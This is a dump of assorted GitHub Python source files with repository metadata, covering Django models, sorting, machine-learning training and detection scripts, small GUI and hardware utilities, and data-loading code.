a4ddd7673db772a7ff5ee0d63826c0d2cdc7cfa0 | 0e43b0550dce2a7d7ea3ffdcc1749dcee7dbdeac | /src/shortner/models.py | 9fee1ec9941b3146c9c86f3ebbd909e7ea40b7f8 | [] | no_license | Ayukha/Trydjango | b9434395cf15438a112d471ab27ea02923791c4e | 2fc164e86f96f23da3a2fc7987350ef7426c2f0d | refs/heads/master | 2021-01-10T00:03:55.668319 | 2017-05-06T21:04:13 | 2017-05-06T21:04:13 | 90,490,885 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | from django.db import models
# Create your models here.
class kirrURL(models.Model):
url = models.charField(max_length=220,)
def __str__(self):
return str(self.url)
def __unicode__(self):
return str(self.url)
| [
"ayussh.khare@gmail.com"
] | ayussh.khare@gmail.com |
e82b39a461cefaaa07efebc35f4363d5803dc091 | 58eb959374c21feb80032705b593c8949913b9cd | /level3.py | 301bafdbacd47c9c8d5929fa551ae72536fcb923 | [] | no_license | Legu/humanoid-hunt | 7a9a027d68b92d17651b2e7f7f11a5259a9f601a | 7d34f6f35a81287f501a0c5709d2015cbd7b6a85 | refs/heads/master | 2023-02-25T06:40:26.876483 | 2021-02-04T21:15:08 | 2021-02-04T21:15:08 | 336,081,952 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,067 | py | from collections import defaultdict
import sys
sys.setrecursionlimit(1000000) # One MILLION coz why not
def solve(challenge):
maze = defaultdict(lambda: defaultdict(str))
for line in challenge.split('\n'):
if ' ' in line:
coord, moves = line.split(' ')
else:
coord = line
moves = ''
x, y = (int(a) for... | [
"legutus@gmail.com"
] | legutus@gmail.com |
e012673eb791002e37d6b08fb1782d403fc2a68b | 1750af039bfd4324c12e581608ba4a3a902828cf | /bubble-sort.py | 02ea889717850d8cf8f38e0de757eb9cc3ba35dd | [] | no_license | Kevin-Kip/sorting-algorithms | 1c0145fc3e3e63576e7440ebf756ab4e045e86d3 | 96b36f936c1263b5399ec77e291691afc0599e08 | refs/heads/master | 2020-03-26T03:30:12.145606 | 2018-08-12T10:56:46 | 2018-08-12T10:56:46 | 144,459,129 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 751 | py | def bubble_sort(list_to_sort):
# Run through the array
# the -1 is for array indexing since indices start at 0
for i in range(0, len(list_to_sort) - 1):
# Run through the array again
# -1 again for indexing
# and -i to exclude the current item since it's already well-placed
... | [
"masterfork5@gmail.com"
] | masterfork5@gmail.com |
19c3c70ea2d90226ad9cab7a86daaa37d89a199e | d0e79ff646811aad496df8e9537fef18b2f32d22 | /kepler.py | edd3c51a4741ef1c84bf24444a0c3c9ad8ddfdd1 | [] | no_license | Kai-FengChen/ASIAA_Hackday | 57bcad63b9edea2db7c11f812a726289bf0bfdf0 | 98e8e597f8a3c6e4594dc3615ececf0eb9ed95e1 | refs/heads/master | 2021-01-10T16:44:27.142706 | 2015-11-23T07:38:49 | 2015-11-23T07:38:49 | 46,537,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,022 | py | from visual.controls import *
import ruler
from pylab import *
import scipy.interpolate
from visual import *
from visual.controls import *
from visual.graph import *
def get_func_for_luminosity(r_planet,r_star,scaling_factor):
r_planet = int(r_planet/scaling_factor)
r_star = int(r_star /scaling_factor)
ful... | [
"kevin.ventus@gmail.com"
] | kevin.ventus@gmail.com |
91fa7b6d40e65ea18eb2197ca31dc47643533e46 | e184ff3752870a2a4fc7c7c606ed54344085c431 | /CIFAR/Wide_ResNet/Train.py | d075ed6c47f47373c426a6f3ed4a8a3838adc793 | [] | no_license | leesc912/ResNet | 2538095c4564c8c17a8d27677ae64f0b7c5942b0 | 708693d966859f1620d1d71fe25dbd62d41cb31a | refs/heads/master | 2020-12-30T08:27:28.053185 | 2020-02-18T14:04:32 | 2020-02-18T14:04:32 | 238,928,673 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,922 | py | from pathlib import Path
import tensorflow as tf
from tensorflow.keras import backend as K
from Model import make_resnet
from Dataset import get_dataset
from Top_K_Accuracy import custom_top_k_metrics
from Save import Recoder
from Checkpoint import load_checkpoint
from Utils import create_folder, save_model_inf... | [
"lee-dev@tuta.io"
] | lee-dev@tuta.io |
c1be505f37b49fa56d97535248dfdf448e20dd52 | 84039fd2f35d5859b7507da6542dd31a51d9e0ed | /viewOwnedBooks.py | 3c2e237530924d33dbea1ab4ed48e4b776e1deef | [] | no_license | bri1315/libraryStorage | ead12bec708cb0ce6eb9a022d3a4628a96675663 | 19e15ef6f5eaac42550051e84f56ee8e9036471d | refs/heads/main | 2023-02-26T19:01:19.848645 | 2021-02-06T00:55:08 | 2021-02-06T00:55:08 | 336,424,325 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,352 | py | #code coped from my own viewbooks.py code
import tkinter
from tkinter import *
import tkinter.ttk as ttk
from PIL import ImageTk,Image #PIL -> Pillow
import pymysql
#from tkinter import messagebox
con = pymysql.connect(host = "localhost", user = "root", passwd = "####s", database = "books")
mycursor = con.cursor()
#t... | [
"noreply@github.com"
] | noreply@github.com |
d022d56454d570a5b887704c79d4d2843271f345 | 576cc83449e10fd3f98281970c46016ea7a5aea2 | /OpenCV拟合与特征点识别/模板匹配角度.py | 78abfbc17a54a507b14bd408976b16d378badf18 | [] | no_license | HotView/PycharmProjects | 215ab9edd341e3293daebcf86d97537f8cd28d75 | 61393fe5ba781a8c1216a5cbe7e0d06149a10190 | refs/heads/master | 2020-06-02T07:41:53.608742 | 2019-11-13T08:31:57 | 2019-11-13T08:31:57 | 191,085,178 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 171 | py | import math
a = math.atan(2/3)
c = math.atan(1)
print(c*180/math.pi)
print(a*180/math.pi)
#theta1 =math.tanh((a))
#print(theta1)
b = math.atan(6/2)
print(b*180/math.pi)
| [
"864773190@qq.com"
] | 864773190@qq.com |
0cc2744a4a439488ad0a2d1c8ac0c3dc0fd24949 | 949a41c0e48e8f646fac4c970733a33f5fb920b2 | /image_capture/exposure-image.py | dc0fb62ea7820489752006089d26646ccea178c4 | [] | no_license | srconstantin/daphnia | 39f1233e3511bad27aaae8aba25a2be4923be8ca | 03b43889a083147efa48deea1b88fdcbcd7fa991 | refs/heads/master | 2020-04-24T05:26:54.956261 | 2020-01-23T21:27:54 | 2020-01-23T21:27:54 | 171,735,164 | 2 | 1 | null | 2019-04-18T18:57:25 | 2019-02-20T19:23:06 | C++ | UTF-8 | Python | false | false | 1,081 | py | #!/usr/bin/python3.6
from pypylon import pylon
import sys
import platform
#this is a sample script, that captures a single image with a provided exposure time in the system arguments, and saves it to disk in this file's directory.
if len(sys.argv) < 2:
sys.exit("Must provide exposure time in float as first argume... | [
"noreply@github.com"
] | noreply@github.com |
969538deb0182c0775bc12ebdc2b35d87705e26b | 5c4d64d6432328e64d9c2cffcd101b266be37261 | /Detection/TFLite_detection_image.py | f204e169eeb4caf8034f6bcdf33a82376202cdc2 | [
"MIT"
] | permissive | Final-Six-SIH2020/Detection-and-Classification | 801e0e23c8d922f1ce54c73a1227ba98eabc7f26 | d02074fa4e5ba455e011ffd5081cc3428245c4d8 | refs/heads/master | 2022-11-26T13:50:31.850632 | 2020-08-01T16:52:00 | 2020-08-01T16:52:00 | 279,120,714 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,720 | py | ######## Webcam Object Detection Using Tensorflow-trained Classifier #########
#
# Author: Evan Juras
# Date: 9/28/19
# Description:
# This program uses a TensorFlow Lite object detection model to perform object
# detection on an image or a folder full of images. It draws boxes and scores
# around the objects of intere... | [
"vaibhav.singh.3001@gmail.com"
] | vaibhav.singh.3001@gmail.com |
983e0811328b47d5af184f898f004d1f0f7efbca | 2e9c99f81a2552ebdc1f5ff3931cf92f7c68e6ab | /scripts/off.py | c238309a30a34e26113b212cce3f3ab2b092c7ad | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | brianma94/RaspiSecureSystem | 36fb82abb7b5b4bedde41b32e75946ba54c65233 | b045296a58dcb16c62866ec27fb0181af1c0d9f1 | refs/heads/master | 2021-01-12T07:41:02.304873 | 2016-12-20T17:09:42 | 2016-12-20T17:09:42 | 76,997,577 | 0 | 0 | null | 2016-12-20T22:51:09 | 2016-12-20T22:51:09 | null | UTF-8 | Python | false | false | 95 | py | import serial
arduino = serial.Serial('/dev/ttyACM0',9600)
arduino.write('l')
arduino.close()
| [
"noreply@github.com"
] | noreply@github.com |
c97f7690cd4d98a44770cc65af7e42b9d7a88820 | 79109b9841f0476058899302418803e300ae9687 | /Artificial_Intelligence/hw3/weighting.py | 654d38f76a086e412e8ef28d6319ba94bec012e8 | [] | no_license | GartStav/WPI_projects | 9894a750e33c5203d342a0b88a967752d63d3262 | 3ce9de7aa8e01579dbd229e12a9ddf7c0ffd5d7c | refs/heads/master | 2020-08-07T12:22:01.034887 | 2015-08-31T03:49:41 | 2015-08-31T03:49:41 | 41,628,095 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,534 | py | #-------------------------------------------------------------------------------
# Performs Likelihood weighting
#
# Author: Artem Gritsenko
# Worcester Polytechnic Intitute, 2013
#-------------------------------------------------------------------------------
import random
def sample(sample_var, bn, CPT, sa... | [
"gart.stav@gmail.com"
] | gart.stav@gmail.com |
19fde128f96d53c76952aab1043ddf4ff57ad868 | e70ac56109d09a4c323fea4984e2fb29464b0a7f | /scripts/test_find_path.py | 02059ad09220abfcaedc1c1bdb3a075645b1c90f | [] | no_license | MatthieuDartiailh/HFSSdrawpy | b3542961b564fa3b7721de35f4118d2d78bb87f4 | 9a7e59fc8a90ee5dd85df4319cf6defe108b1904 | refs/heads/master | 2020-03-29T09:48:46.196968 | 2018-09-20T15:38:59 | 2018-09-20T15:38:59 | 149,774,962 | 0 | 0 | null | 2018-09-21T14:30:22 | 2018-09-21T14:30:22 | null | UTF-8 | Python | false | false | 29,958 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Apr 12 23:30:42 2018
@author: checkhov
"""
from scripts.designer import Vector
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
plt.close('all')
def move_figure(f, x, y):
"""Move figure's upper left corner to pixel (x, y)"""
backend = matplotlib... | [
"raphael.lescanne@gmail.com"
] | raphael.lescanne@gmail.com |
8db4ec350f45cf94a390fca48b4644c9f2306e89 | 0924e375fa206ae1385fc5a9e44a11bdaf7503cc | /t_one.py | a444629a3ab7c26f80f8d8b8de7abf24bf418664 | [] | no_license | heisenberg967/Web_scrap | eb9dc92afc25924ae2bec693ccd51a43504dc3ec | 79a3a70e68d836ce5bf3e1770bc600f671b91d0d | refs/heads/master | 2021-01-25T12:49:45.508348 | 2018-03-02T05:18:41 | 2018-03-02T05:18:41 | 123,516,925 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 439 | py | import glob
import xlrd
import csv
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
xlfiles=glob.glob('D:/Work/Datascience Intern/*.xlsx')
wf = csv.writer(open('D:/Work/Datascience Intern/one.csv','wb'),delimiter=',')
for files in xlfiles:
#print files
workbook = xlrd.open_workbook(files)
sheet = workbook.s... | [
"rishab21r@outlook.com"
] | rishab21r@outlook.com |
2b67e173c250d907b9ddc4dcbd41582893e80591 | 3933f83fb99f51e01313df27e018a767e26733da | /mypython/python练习/变量练习.py | ca897e9c3844f647696f31df60427115fc214154 | [] | no_license | Jacktting/mygit | 5af7f2f8d80d5113ad68e26bcdf0df14c00fa411 | fbc3970e817b0eb9080d713e63d55acb6b05d963 | refs/heads/master | 2021-03-14T04:50:19.979139 | 2020-05-15T08:25:01 | 2020-05-15T08:25:01 | 246,737,896 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 691 | py | """
将华氏温度转换为摄氏温度
"""
f = float(input('请输入华氏温度: '))
c = (f - 32) / 1.8
print('%.1f华氏度 = %.1f摄氏度' % (f, c))
"""
输入半径计算圆的周长和面积
"""
import math
radius = float(input('请输入圆的半径: '))
L = 2 * math.pi * radius
area = math.pi * radius * radius
print('周长: %.2f' % L)
print('面积: %.2f' % area)
"""
输入年份 如果是闰年输出True 否... | [
"noreply@github.com"
] | noreply@github.com |
5c60eef6a651955717d98205494abf3883dce4ee | 68e7424ef0c78eb773c6b8b858956c8d403099de | /Burrow-Wheelers-Transform-Genome-String-Match/sequence_partial_match_detect.py | d199d7a46e3ed7da41ae2b83e17289a93a55ffeb | [] | no_license | ShubhaShedthikere/Data-Analytics | 04e20e869579c053601f68e1b29e258e359ebb86 | e122a3939b91cdda3c05bb420154c8905d8101b4 | refs/heads/master | 2021-01-13T13:08:13.658685 | 2016-11-04T14:13:10 | 2016-11-04T14:13:10 | 72,741,825 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,851 | py | import numpy as np
import Band as bd
import re
#-------------------------------------------------------------------------------------
#Input Parameters and other input information
exonsBinPositions={149249758:149249869, \
149256128:149256424, \
149258413:149258581, \
... | [
"shubha.sagar@gmail.com"
] | shubha.sagar@gmail.com |
e8760e831ddd791fb10d86687e57cfa46bf7bee3 | b0a83dd64b74b4f08c7185db03217f7d4c5c8e74 | /homemate/urls.py | 3b62169be63523d2e39cc890becaf5fe85dccae5 | [] | no_license | alice-project/homemate | 20719307d4238a7a61d9486d495dac41cdf8fe99 | 19783ed2a09581f7c302e60ab0326e8c5b32152b | refs/heads/master | 2020-03-17T10:52:59.833806 | 2018-11-23T14:49:40 | 2018-11-23T14:49:40 | 133,529,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 893 | py | """homemate URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-b... | [
"2676902@qq.com"
] | 2676902@qq.com |
8a83c4d386fc442c7b152dc26c9c901fd73eb0a9 | 8c777a9fc49358591379ea89bbfe578262e2019c | /mrworldwide/search_countries/apps.py | f60e1d49e66c6bcd92fc9ee02508a9d65d2cb104 | [] | no_license | IsmaVerde/PI-Practicas | b6b564be473732626921f678aedd4296be3222d2 | cce47fee2ca817e42b8ed73cb8d3aa400946ba2c | refs/heads/main | 2023-05-30T17:05:36.705360 | 2021-06-18T16:49:18 | 2021-06-18T16:49:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 106 | py | from django.apps import AppConfig
class SearchCountriesConfig(AppConfig):
name = 'search_countries'
| [
"ismael.verdec@udc.es"
] | ismael.verdec@udc.es |
777bcb652755bae1483e56e0a6d9753b1cd06756 | ba1baa3eeaa9df83762125dce4e77e3104b22306 | /coals.py | 7c7a93b031f46be6f78d33882cbb4bb554afc653 | [] | no_license | chien1000/word-vectors-comparison | d75d969d8a9ec5d859a63de5b54576bb770ae5bc | 647680fcc8a5ff0535e8d3d04ee873bfb2ca3b5b | refs/heads/master | 2021-03-24T09:24:45.312315 | 2019-03-16T09:12:03 | 2019-03-16T09:12:03 | 119,685,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,853 | py | from collections import defaultdict, Counter
import six
from six import string_types
from datetime import datetime
import os
import pickle
from base import get_vocabulary, MODEL_PATH
from hal import HalWordVectorizer, _make_int_array
from corpus import LineCorpus
from stop_words import ENGLISH_CLOSED_CLASS_WORDS
from... | [
"r05725004@ntu.edu.tw"
] | r05725004@ntu.edu.tw |
d76c17214f347a505da9a63ba79dea1cba99813d | ee69a67e61ca7b51a57e85255d0387099a5eea4c | /scripts/shapeit_2_hdf5.py | 7773d1a09625662411768d7d2e296f3de959f068 | [
"MIT"
] | permissive | melcampos/snakeit | 95a6e742daa15771b576e129ed89bbeb8932e513 | e2fc32a33989cad28761e2321825628dc8439925 | refs/heads/master | 2020-07-09T03:16:30.961516 | 2017-07-25T10:43:59 | 2017-07-25T10:43:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,481 | py | #! /usr/bin/python
__author__ = 'Nicholas Harding'
import numpy as np
import h5py
import os.path
import gzip
from itertools import islice
if os.path.isfile(snakemake.output.hdf5):
raise FileExistsError("outfile already exists")
else:
h5file = h5py.File(snakemake.output.hdf5, mode="w")
chrom = h5file.create_... | [
"njh@well.ox.ac.uk"
] | njh@well.ox.ac.uk |
cce1e5cc0fba01f33051132e3981e03cec379801 | a070182e6443995031340802e74d1e65a85bdca3 | /bluelog/utils.py | 4975d944d9c5eebe4486d47ab3fea78ee7fa681c | [] | no_license | huazhicai/bluelog | f86a042a5f3ada46515920c45a0b1452a40d4ad9 | c2a46ac25cbba4ecf7d4e0985ef9010ddae34c01 | refs/heads/master | 2020-04-04T16:33:27.910658 | 2019-01-03T09:59:52 | 2019-01-03T09:59:52 | 156,082,797 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 670 | py | try:
from urlparse import urlparse, urljoin
except ImportError:
from urllib.parse import urlparse, urljoin
from flask import request, redirect, url_for
def is_safe_url(target):
ref_url = urlparse(request.host_url)
test_url = urlparse(urljoin(request.host_url, target))
return test_url.s... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
6bccc2ddc4d09d7ad97468de9e225678e1b8f627 | 7c91ff172ba9898386cc84f3d0384ad0f12fc118 | /ex_morita/sort/bubble_sort.py | 73afe7fe46cd96bde16690a1dea53eb8bf61cfb3 | [] | no_license | HokutoMorita/algorithm | cfec809df236b3fb8dd607812ec21110bca0df48 | 285c24fde771be3e1e81fb1d7ad1e14bfc83c55d | refs/heads/main | 2023-01-14T18:05:33.041621 | 2020-11-15T05:52:01 | 2020-11-15T05:52:01 | 311,011,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 965 | py | from typing import List
"""
Bubble sortのオーダー数
- Average: O(n**2)
- Best: O(n)
- Worst: O(n**2)
"""
def bubble_sort(numbers: List[int]) -> List[int]:
len_numbers = len(numbers)
for i in range(len_numbers):
for j in range(len_numbers - 1 - i):
# だからO(n**2)になるのか!!
## 加えて、-iとすることで... | [
"han2210mh@gmail.com"
] | han2210mh@gmail.com |
7e5fc8246ba12f67b9efe8fe1433a80bbd6460fe | d4fe66ef7b5bc1745aeb4054b30575fb25a053f4 | /setup.py | d838e226a7de7b9cd782061fb6f64b3134bc06cc | [
"Apache-2.0"
] | permissive | jay-johnson/antinex-client | 796c753bc9df8498f25dca994920b26d8828a940 | 76a3cfbe8a8d174d87aba37de3d8acaf8c4864ba | refs/heads/master | 2021-04-15T15:55:39.670061 | 2020-09-04T19:49:15 | 2020-09-04T19:49:15 | 126,577,469 | 6 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,053 | py | import os
import sys
import warnings
import unittest
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
from setuptools.command.test import test as TestCommand
class PyTest(TestCommand):
user_options = [('pytest-args=', 'a', "Arguments to pass to pytest")]
def in... | [
"jay.p.h.johnson@gmail.com"
] | jay.p.h.johnson@gmail.com |
d69a39808d6f68572bc01c15f5e876462397f0eb | 4dac40a30e7bbb86ab829fed0cb6f12ff7fa0216 | /djwiki/wiki/models.py | 0e7d732c83f68d3e3e9fb72063d8346168ff24ae | [] | no_license | gzpgg3x/pythonDiary | cc039b716c810f99d5a12b0f4167a711cd6ea18f | 0c3af53dc635d5ff40adad89dce146d6684e162e | refs/heads/master | 2021-01-10T19:55:41.130511 | 2013-04-21T04:37:10 | 2013-04-21T04:37:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | from django.db import models
class Page(models.Model):
name = models.CharField(max_length=40, unique=True)
content = models.TextField()
def __unicode__(self):
return self.name | [
"gzpgg3x@yahoo.com"
] | gzpgg3x@yahoo.com |
422bb18f8a7bcb7c258bbd7e723a5fffce02797e | d8aca998189d273c279b017fa17ed76c3f3419b6 | /main.py | 4f6afb25018e8bce3867c90b15f250cb8993aedf | [] | no_license | konstantin-kotochigov/otus | 0016a5b616b6da5b829e825a78f6c6f0c1e89595 | 57e35c415f26441015c402382962e8bceed95c33 | refs/heads/master | 2022-01-23T01:42:57.150184 | 2019-04-30T12:47:47 | 2019-04-30T12:47:47 | 181,729,680 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,018 | py | import sys
from pyspark.sql import SparkSession
from hdfs import InsecureClient
import time
import datetime
from cj_loader import CJ_Loader
from cj_predictor import CJ_Predictor
from cj_export import CJ_Export
def main():
if len(sys.argv) < 4:
raise Exception("command must have 3 arguments")
... | [
"konstantin.kotochigov@gmail.com"
] | konstantin.kotochigov@gmail.com |
5f3d4294cb56833f92b4727c486bf706a63f7707 | ab2712490238827c3298f3dada3fd111a31da761 | /OpenSourceBlogger/addThumbsDown.py | 99d0c5ad9315c0779d1453c698443ddcf6f059f1 | [] | no_license | aniket10/blogging-platform | 4da002f83da981b6527ca774eb23a424a677bcea | 195ebce7097ddaad4210e2faa657cf9075dd6432 | refs/heads/master | 2016-09-07T18:48:53.279441 | 2013-12-18T18:31:49 | 2013-12-18T18:31:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 643 | py | import cgi
import webapp2
import urlparse
from google.appengine.ext import db
from Blogs import Blogs
class addThumbsDown(webapp2.RequestHandler):
def get(self):
form = cgi.FieldStorage()
blogId = form['blogid'].value
url = form['dest_url'].value
# sessionId = i... | [
"aniketajagaonkar@yahoo.com"
] | aniketajagaonkar@yahoo.com |
26952bdc611861509bd368811c1b243e394f7d45 | a32049cdf8cb3403e8e54ddd661f8bb506cca99b | /first_project/first_app/urls.py | f627fd5ffdf7c929f3138c22f3c628b8dc0cf27b | [] | no_license | akhileshvvn/django-deployment-example | 5a3beb8205f2905c99808e983baaf0f8a7a23772 | 45317bb6166527054541e52c8a986f44342ea958 | refs/heads/master | 2022-04-15T08:17:02.615307 | 2020-04-11T07:54:19 | 2020-04-11T07:54:19 | 254,815,719 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 501 | py | from django.urls import path,re_path
from django.conf.urls import url
from . import views
#TEMPLATE TAGGING
app_name = 'first_app'
urlpatterns = [
re_path(r'^index/', views.index, name=''),
re_path(r'formindex/',views.form_name_view,name='form_name'),
re_path(r'^relative/$',views.relative,name = 'relative... | [
"john@sample.com"
] | john@sample.com |
297d9dd46444739c518dba755a52553bc66bc674 | 464efb61bdf6651b2e016e68bc6766bd7dacdf79 | /src/server/config.py | 82bf73a6729ba154b555fe888c43baf12f8c656c | [] | no_license | maksfourlife/transnfc_web | 81e891eb9345c2b7e78ab15af99e043c340d3dee | 7e110a298f4c2a9c98a38dda5c6322ac7735d46c | refs/heads/master | 2023-03-14T07:16:19.508762 | 2020-04-08T13:09:22 | 2020-04-08T13:09:22 | 247,476,183 | 0 | 0 | null | 2021-03-20T03:27:32 | 2020-03-15T13:53:31 | Python | UTF-8 | Python | false | false | 109 | py | class Config:
SQLALCHEMY_DATABASE_URI = "sqlite:///server.db"
SQLALCHEMY_TRACK_MODIFICATIONS = False
| [
"maksfourlife@gmail.com"
] | maksfourlife@gmail.com |
d2cbc077321e6797286ece37e88d6968738be31c | 89556ba7cd23520117010f4c7d99683fa4994bf0 | /djangosite/contact/models.py | 5de38890f11ccb96c91cd9024cfea9c07ada8a3f | [] | no_license | MinHyoung/play | 13e0b9e6e58e1e073f37b691e090115d09380bce | 164b640709cd9319fd2eddeafb8024a07f262cc9 | refs/heads/master | 2021-01-17T23:56:33.805323 | 2013-11-15T17:04:16 | 2013-11-15T17:04:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 370 | py | from django.db import models
class Contact(models.Model):
GENDER_CHOICES = (
(1, 'Male'),
(2, 'Female'),
)
subject = models.CharField(max_length=100, blank=True)
message = models.TextField(blank=True)
sender = models.EmailField(max_length=100)
gender = models.IntegerField(choic... | [
"manj@cs.stanford.edu"
] | manj@cs.stanford.edu |
72bc2e20ca357ce0505185fce963ff64d12a537f | d215516889a11f516ce7617d3b48f41b272fd23d | /testCases/200109-delayScenario1/sixMachineDelayStep2.py | 498cbe8e1f986d7885612f9513f020a60d0eb87f | [
"MIT"
] | permissive | thadhaines/PSLTDSim | c0b61e510afed1de03f14341230dc76b29f36440 | 1bc598f3733c1369c164f54249e5f7757e6bf466 | refs/heads/master | 2021-08-17T15:33:35.881354 | 2020-05-01T10:00:51 | 2020-05-01T10:00:51 | 173,911,705 | 0 | 0 | MIT | 2019-07-15T21:15:26 | 2019-03-05T09:02:07 | Python | UTF-8 | Python | false | false | 1,484 | py | # Format of required info for batch runs.
debug = 0
AMQPdebug = 0
debugTimer = 0
simNotes = """
No AGC Response (no delay)
Delay over response test
Loss of generation in area 2 at t=2
Delayed action by area 1
AGC in both areas
"""
# Simulation Parameters Dictionary
simParams = {
'timeStep': 1.0, # seconds
'en... | [
"45861859+thadhaines@users.noreply.github.com"
] | 45861859+thadhaines@users.noreply.github.com |
43d49f630d353fd008900b0b05ae5b3a0d17fd2b | c3a68b3e226ba4b04edff61f311a31beda8a3ac2 | /Week2/Day5/word cloud.py | 75fe7e6ba592ac00c97020c661c58acb4ff18a50 | [] | no_license | sgowtham36/CompetitiveProgramming | 3fa477820c5651d4d38c96d5a7790ab74757637e | 835a8f84b578f6421eb6d9b5111a847446117fe3 | refs/heads/master | 2020-03-21T12:45:08.328286 | 2018-07-21T09:23:27 | 2018-07-21T09:23:27 | 138,570,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,432 | py | import unittest
import re
class WordCloudData(object):
def __init__(self, inp):
l = re.split('\.| |\?|\!|:|\- |, |\(|\)',inp)
d = {}
for i in l:
if i!='':
j = i.title()
if i in d:
d[i] += 1
elif j in... | [
"gowtham@localhost.localdomain"
] | gowtham@localhost.localdomain |
9f6267ca0c70fa24732c18a22c4ecf9dfcd51a24 | 02e570630224d80217769916a35a6d662d95296c | /ex24.py | ed6ef14127c86f62596cc65b94f87136f9820ed4 | [] | no_license | nikslav/Exercises-LPTHW | c2cd6e17b8843f5d9b90f804bb5dcbe2f1471047 | 06038a4245f01f58f6a04f20b6e6a38c7329376c | refs/heads/master | 2021-05-16T03:19:38.716460 | 2020-02-12T21:59:11 | 2020-02-12T21:59:11 | 31,510,230 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 798 | py | print "Let's practice everything."
print 'You\'d need to know \'bout escapes with \\ that do \n newlines and \t tabs.'
poem = """
\tThe lovely world
with logic so firmly planted
cannot discern \n the needs of love
nor comprehend passion from intuition
and requires an explanation
\n\t\twhere there is none.
"""
print ... | [
"n*****@noreply.com"
] | n*****@noreply.com |
955eb6e62f585e0d1aea48906a6f34b58e43e7b7 | 9ee2ff96498a9e0cb3db7829dc9dbb3027d1ec65 | /17 Letter Combinations of a Phone Number.py | 8d0e1738e5cd0433eb4e7e0f6680daf9f1c97e5b | [] | no_license | Alfredhana/Leetcode-Exercise | 848c19caf1e3475454e210e8045eb45e48259158 | 6b48e0d7c218d59ca4e7b5deebbc634d3cde9fd8 | refs/heads/master | 2022-12-24T20:56:00.333978 | 2020-10-10T06:49:58 | 2020-10-10T06:49:58 | 259,835,167 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 978 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Feb 13 11:44:46 2020
@author: USER
"""
class Solution:
def lettercombinations(self, digits):
print(digits)
phoneMap = {'2':['a', 'b', 'c'],
'3':['d', 'e', 'f'],
'4':['g', 'h', 'i'],
'5':['j', 'k', 'l'],
... | [
"1009273187@qq.com"
] | 1009273187@qq.com |
1d5f94ad567c571b31a903dfa7dc38b92a35aff2 | 279df61e17235e103f34fe34d4e357a0bebd4aee | /grabImages.py | 48e5751e08b3da0b87935caef1f26e9131716668 | [] | no_license | codemang/RedditWallpaper | 8b83bc9127a276795939f87e9de9c65b1798a384 | 6b251d7544891fe2803ae6fb44d249b6190a4366 | refs/heads/master | 2016-09-15T16:23:49.288375 | 2015-10-09T17:47:44 | 2015-10-09T17:47:44 | 29,942,900 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,769 | py | import os
import re
import datetime
from datetime import timedelta
from os.path import expanduser
timeStructure = '%Y/%m/%d %H:%M:%S' # Format for date/time
timeDiff = timedelta(hours=12) # Amount of time to wait between updates
scheduleFile = '.RedditWallpaper/schedule.txt' # File where last up... | [
"nateboop@gmail.com"
] | nateboop@gmail.com |
7a05ffedb2db5040001c4d20b87e94c649ca34d8 | fa7aa574c89c282629af5a95825d88051d58eaf0 | /py/symlinksToFiles/Link to crawler - Copy (190).py | 80c748b849a2ed082c295ae56c8e58ca86b54fd5 | [] | no_license | ankurspadale/sampleForTest | 52629f9039524a77a1b853894976f223331ede62 | ca28d41e1288c7f04670133cf5c113b8dcbe0f97 | refs/heads/master | 2021-05-06T05:34:55.844687 | 2019-04-30T10:49:55 | 2019-04-30T10:49:55 | 115,111,347 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 56 | py | /home/ankur/git/sampleForTest/py/crawler - Copy (190).py | [
"ankurspadale@gmail.com"
] | ankurspadale@gmail.com |
bfe1228380b508c2747a3f62b20939b0d229ad81 | 786a3dbff1c0e211cb0fd724c8e2f7dcda205e2c | /Peliculas.py | 803f6b353cf422a268dc7919d26b879618369f10 | [] | no_license | NicoRiveraR/CienciasIII | 5d7b84b38db12443ada4cd5f5cce1c8385ad110e | d94ab95b557e8c8d05081b8590d848282a3dd9de | refs/heads/master | 2021-01-16T19:49:14.846102 | 2017-08-22T22:41:44 | 2017-08-22T22:41:44 | 100,187,682 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,694 | py | from pila import*
pPeliculas = Pila()
pBusquedas = Pila()
class Peliculas:
def __init__(self, nombre, ano, actor, genero):
self.nombre = nombre
self.ano = ano
self.actor = actor
self.genero = genero
def getGenero(self):
